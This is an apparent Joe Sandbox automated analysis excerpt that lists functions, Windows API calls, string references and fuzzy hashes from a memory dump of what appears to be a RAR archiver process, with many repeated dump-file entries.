Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 292f130439141af7737bd2c92edf84b453f5fe027529f60c064a2129a7dd684d
Instruction ID: 3019caede5723677348b626c6382e55fa9dcb4a035242a18ff0dafe38c71aa6d
Opcode Fuzzy Hash: 292f130439141af7737bd2c92edf84b453f5fe027529f60c064a2129a7dd684d
Instruction Fuzzy Hash: 2421C031E0A646E1EB628B21E40437962A2BF41BE4F1001B7EE5DC76C8CE3DDC8A8701

Function 00007FF6AA1949F8 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 205COMMON

Download Yara Rule

Strings

default.sfx, xrefs: 00007FF6AA194AB0
AFUM, xrefs: 00007FF6AA194B8C

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID:
String ID: AFUM$default.sfx
API String ID: 0-2491287583
Opcode ID: 9c5250dc79f526f8b88a1db49316f6b7f6f5dd8f7a69fa39e4eeb80febe8b362
Instruction ID: 5e4f54c7e227e63aab325ca0c8e89fc58494672f4bee454c8433ce548f76b5ad
Opcode Fuzzy Hash: 9c5250dc79f526f8b88a1db49316f6b7f6f5dd8f7a69fa39e4eeb80febe8b362
Instruction Fuzzy Hash: E881C521F0E692E4EB729B11D2502BD23A1AF51784F4480B7DE8D876C6DF2DAC97C790

Function 00007FF6AA1E65BC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF6AA1E662E
GetFileType.KERNELBASE ref: 00007FF6AA1E6644

Strings

@, xrefs: 00007FF6AA1E666F

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: FileHandleType
String ID: @
API String ID: 3000768030-2766056989
Opcode ID: ac2df8724446a0d51fe7f393cd596ff3ce055ba98acd5cb21c7dcdd1beef0449
Instruction ID: f96b8c910bdf23134e73637c7d7694e6e8cb06ce7a0a1bcd6ef186cdb20e451b
Opcode Fuzzy Hash: ac2df8724446a0d51fe7f393cd596ff3ce055ba98acd5cb21c7dcdd1beef0449
Instruction Fuzzy Hash: 2D21B632A29782D1EB718B259490139A755FB5AB74FA81377DA7E46BD4CE38DC83C300

Function 00007FF6AA1CB9BC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 00007FF6AA1CB9F8
SetThreadPriority.KERNEL32 ref: 00007FF6AA1CBA4E

Part of subcall function 00007FF6AA19CDA4: wcschr.LIBVCRUNTIME ref: 00007FF6AA19CE0F
Part of subcall function 00007FF6AA19CDA4: wcschr.LIBVCRUNTIME ref: 00007FF6AA19CE22

Part of subcall function 00007FF6AA19CA40: _CxxThrowException.LIBVCRUNTIME ref: 00007FF6AA19CEDE

Strings

CreateThread failed, xrefs: 00007FF6AA1CBA06

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: Threadwcschr$CreateExceptionPriorityThrow
String ID: CreateThread failed
API String ID: 1217111108-3849766595
Opcode ID: 23f25dd9d767684a47335cfb6564c8d2137849cd663ca384977e916ef4a87e16
Instruction ID: 2af3ee0e3225a0bd60c526d00dd9bac403028449397f8032f5ed86b84025c62b
Opcode Fuzzy Hash: 23f25dd9d767684a47335cfb6564c8d2137849cd663ca384977e916ef4a87e16
Instruction Fuzzy Hash: 6111603190AA42E2E706DF11E9801B97360FF84B84F584077D69D83659EF3DE957C740

Function 00007FF6AA1CBB80 Relevance: 4.5, APIs: 3, Instructions: 30COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,00007FF6AA1CBB79), ref: 00007FF6AA1CBBB9
SetEvent.KERNEL32 ref: 00007FF6AA1CBBCF
LeaveCriticalSection.KERNEL32 ref: 00007FF6AA1CBBD8

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: CriticalSection$EnterEventLeave
String ID:
API String ID: 3094578987-0
Opcode ID: 8fe9f8176e207c020d906139d049f12966b7ba6a10f6a81758c5b7eb42f71044
Instruction ID: bcdf6cb950674617f9b8f436a5b02b0123b9a6fe03a8bf8739e31c22c9e13b29
Opcode Fuzzy Hash: 8fe9f8176e207c020d906139d049f12966b7ba6a10f6a81758c5b7eb42f71044
Instruction Fuzzy Hash: BBF0A22660DA82D2EB619F22E58017C6360FF88B99F040172DE8D86269DE2CED06CB00

Function 00007FF6AA197B44 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(?,?,?,00007FF6AA197A9E), ref: 00007FF6AA197B4A
GetFileType.KERNELBASE(?,?,?,00007FF6AA197A9E), ref: 00007FF6AA197B56
GetConsoleMode.KERNEL32(?,?,?,00007FF6AA197A9E), ref: 00007FF6AA197B69

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: ConsoleFileHandleModeType
String ID:
API String ID: 4141822043-0
Opcode ID: b15bfddebd279c5c829c27adb93723b3551ef5d7968acfa0ad204a509e36213f
Instruction ID: 01d8cb0c9c64001e91848d9abbd9f35ff921b4c2016e4958452776322702041f
Opcode Fuzzy Hash: b15bfddebd279c5c829c27adb93723b3551ef5d7968acfa0ad204a509e36213f
Instruction Fuzzy Hash: 14E08C28E06642E2EA994721A86523803919F49B80F4410BADC0FCA750EE2C9D86C300

Function 00007FF6AA1E2488 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF6AA1E246C), ref: 00007FF6AA1E24B0
TerminateProcess.KERNEL32(?,?,?,00007FF6AA1E246C), ref: 00007FF6AA1E24BB
ExitProcess.KERNEL32 ref: 00007FF6AA1E24CA

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: dc222732d609072635a32a4c442b917d442ee89fc7b927a0b9cfc4e365035d5e
Instruction ID: e6803f71c1e06333793cf2ecbf22cdb30396aa77f82ca88ac128c8a425326f65
Opcode Fuzzy Hash: dc222732d609072635a32a4c442b917d442ee89fc7b927a0b9cfc4e365035d5e
Instruction Fuzzy Hash: 20E01A24A0A745E2FEA9AB219C9137923926F85741F0454BECC0E87792DE3DAC0A8250

Function 00007FF6AA1A4044 Relevance: 3.3, APIs: 2, Instructions: 336COMMON

Download Yara Rule

APIs

OemToCharA.USER32 ref: 00007FF6AA1A4255
ExpandEnvironmentStringsW.KERNEL32(?,?,00000000,?,?,?,?,?,00007FF6AA186CD9), ref: 00007FF6AA1A447C

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: CharEnvironmentExpandStrings
String ID:
API String ID: 4052775200-0
Opcode ID: a3ba1b03603a475655284a6a52820d5ab219f11978c107c81e75b3572b44f527
Instruction ID: d18e275cb564a70474bc61536ab3785c6f7794aad52b38582136b3d3eaf3c325
Opcode Fuzzy Hash: a3ba1b03603a475655284a6a52820d5ab219f11978c107c81e75b3572b44f527
Instruction Fuzzy Hash: CBE1B332B1A682E5EB628B24D4001BD67A2FB51794F444173DB9E87AD9DF7CE84BC700

Function 00007FF6AA1A1AF0 Relevance: 3.1, APIs: 2, Instructions: 85fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,00000800,?,00000000,00007FF6AA197EBE,00000000,00000000,00000000,00000000,00000007,00007FF6AA197C48), ref: 00007FF6AA1A1B8D
CreateFileW.KERNEL32(?,?,00000800,?,00000000,00007FF6AA197EBE,00000000,00000000,00000000,00000000,00000007,00007FF6AA197C48), ref: 00007FF6AA1A1BD7

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 4219d35e49beb692727e1c809157a61a389fcef5d2ea993dee933b1b68bc62b7
Instruction ID: 242f43dbb06d9c030363fd4ba4a306974e4dac9ef66bc3b7f47b66736fbcd015
Opcode Fuzzy Hash: 4219d35e49beb692727e1c809157a61a389fcef5d2ea993dee933b1b68bc62b7
Instruction Fuzzy Hash: C4311473A19681C6E7719F20D4053A926A0EB40BB8F108376DE6C866C5EF7CDC8AC700

Function 00007FF6AA18681C Relevance: 3.1, APIs: 2, Instructions: 75COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6AA1868AE
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6AA1868BF

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: ExceptionThrowstd::bad_alloc::bad_alloc
String ID:
API String ID: 932687459-0
Opcode ID: e0b6576285a1405d5c99e18f7cacf33152f7ca5f18a954e7e6124ed6b2dff56f
Instruction ID: 19b9232294b523c47c1fb6d45618ee55657f9a1e8a59826cdb9a3562ce12832b
Opcode Fuzzy Hash: e0b6576285a1405d5c99e18f7cacf33152f7ca5f18a954e7e6124ed6b2dff56f
Instruction Fuzzy Hash: A0217353A09F85D2EB018F29D5510B86360FB9CB88F18A361DF9D42656EF28E5E68300

Function 00007FF6AA1B915C Relevance: 3.1, APIs: 2, Instructions: 51COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF6AA1B91CA
new.LIBCMT ref: 00007FF6AA1B91F2

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69db96ca1da17c6a2eb1160e9404b7f872c8654a3bd96e1949819b6dda332cdc
Instruction ID: 6e299348e1875e78e08927da8cc22ceaff3e807fbce7993ae35a1cf52cf8e099
Opcode Fuzzy Hash: 69db96ca1da17c6a2eb1160e9404b7f872c8654a3bd96e1949819b6dda332cdc
Instruction Fuzzy Hash: 53119331A0AB81D1EA02EB64A5043A9B3E4EF84790F180676D6AD877E6DF7CD853C310

Function 00007FF6AA1A20B4 Relevance: 3.0, APIs: 2, Instructions: 45COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,00007FF6AA1A22EE), ref: 00007FF6AA1A211B
GetLastError.KERNEL32(?,?,?,00007FF6AA1A22EE), ref: 00007FF6AA1A2126

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 5815bd41f5973e06c2119053be911941aef37d92954e301d013d2bb4fe8795dc
Instruction ID: ae148f8345028d475a9abff7dcd49ddd4f0dfcc951cbafa929569f0af3df9217
Opcode Fuzzy Hash: 5815bd41f5973e06c2119053be911941aef37d92954e301d013d2bb4fe8795dc
Instruction Fuzzy Hash: C401E535B1E691D2EAA54B26A5004296262EF44BF0F145272DE2D83BE4DF3CEC468700

Function 00007FF6AA197A68 Relevance: 3.0, APIs: 2, Instructions: 40COMMON

Download Yara Rule

APIs

setbuf.LIBCMT ref: 00007FF6AA197A7B

Part of subcall function 00007FF6AA1E2AE4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6AA1E7EF3

setbuf.LIBCMT ref: 00007FF6AA197A8F

Part of subcall function 00007FF6AA197B44: GetStdHandle.KERNEL32(?,?,?,00007FF6AA197A9E), ref: 00007FF6AA197B4A
Part of subcall function 00007FF6AA197B44: GetFileType.KERNELBASE(?,?,?,00007FF6AA197A9E), ref: 00007FF6AA197B56
Part of subcall function 00007FF6AA197B44: GetConsoleMode.KERNEL32(?,?,?,00007FF6AA197A9E), ref: 00007FF6AA197B69

Part of subcall function 00007FF6AA1E2ABC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6AA1E2AD0

Part of subcall function 00007FF6AA1E2B40: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6AA1E2C1C

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo$setbuf$ConsoleFileHandleModeType
String ID:
API String ID: 4044681568-0
Opcode ID: 8727ae0c8f4e6654f39e3312ee4fd5538b937ba58b7f1081e43b9e7840c2ab2c
Instruction ID: ec72cf948af36d6c9e576b3157e56773b71a7d1b8c51e43e4b57921564291c92
Opcode Fuzzy Hash: 8727ae0c8f4e6654f39e3312ee4fd5538b937ba58b7f1081e43b9e7840c2ab2c
Instruction Fuzzy Hash: 15011300E0B192A6FE2AB37516B27B919868FC2310F0841FAE01E8AAE3DD5C2C538311

Function 00007FF6AA1A2440 Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE ref: 00007FF6AA1A2480
GetLastError.KERNEL32 ref: 00007FF6AA1A248D

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
